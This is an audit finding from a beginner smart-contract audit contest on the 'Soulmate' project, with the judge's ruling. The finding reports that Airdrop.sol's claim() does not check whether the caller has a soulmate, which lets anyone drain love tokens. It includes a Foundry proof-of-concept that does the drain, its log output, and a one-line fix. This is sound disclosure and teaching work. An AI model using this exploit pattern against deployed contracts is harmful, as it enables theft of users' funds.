First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Airdrop.sol::claim() Because there's no check on whether the caller has a soulmate, it results in an incorrect calculation of the reunion duration, draining all tokens

0xpoor4ever

Summary

Airdrop.sol::claim() Because there's no check on whether the caller has a soulmate, it results in an incorrect calculation of the reunion duration, draining all tokens

Vulnerability Details

Due to the lack of a check on whether the caller has a soulmate, and because a caller without a soulmate has idToCreationTimestamp as 0, the calculation on line 56 of the code for 'How long soulmates are reunited' results in an error, which is the current block.timestamp divided by daysInSecond. This creates an attack vector for draining the entire vault of love tokens.

Add this test to SoulmateTest.t.sol and run forge test --match-test test_DistortFirstCoupleMessage -vvvv the issue

function test_WithoutSoulmateClaim() public {
address attacker = makeAddr("attacker");
uint256 beforeAttackVaultBalance = loveToken.balanceOf(address(airdropVault));
vm.warp(1707725828);
vm.prank(attacker);
airdropContract.claim();
​
uint256 afterAttackVaultBalance = loveToken.balanceOf(address(airdropVault));
uint256 afterAttackAttackerBalance = loveToken.balanceOf(attacker);
console2.log("[*] Vault balance before attack", beforeAttackVaultBalance);
console2.log("[*] Vault balance after attack", afterAttackVaultBalance);
console2.log("[*] Attacker balance after attack", afterAttackAttackerBalance);
}

From logs output, it can be seen that the attacker has obtained 1707725828 / 86400 (current block.timestamp / daysInSecond) tokens

Running 1 test for test/unit/AirdropTest.t.sol:AirdropTest
[PASS] test_WithoutSoulmateClaim() (gas: 99178)
Logs:
[*] Vault balance before attack 500000000000000000000000000
[*] Vault balance after attack 499980235000000000000000000
[*] Attacker balance after attack 19765000000000000000000

Impact

attack vector for draining the entire vault of love tokens

Tools Used

manual review

Recommendations

Add an error at line 16 in Airdrop.sol

error Airdrop__CoupleIsDivorced();
error Airdrop__PreviousTokenAlreadyClaimed();
+ error Airdrop_NotHaveASoulmate();

Add a conditional check in the claim function to revert if there is no Soulmate call

function claim() public {
// No LoveToken for people who don't love their soulmates anymore.
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
+ if(soulmateContract.soulmateOf(msg.sender) == address(0)) revert Airdrop_NotHaveASoulmate();
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.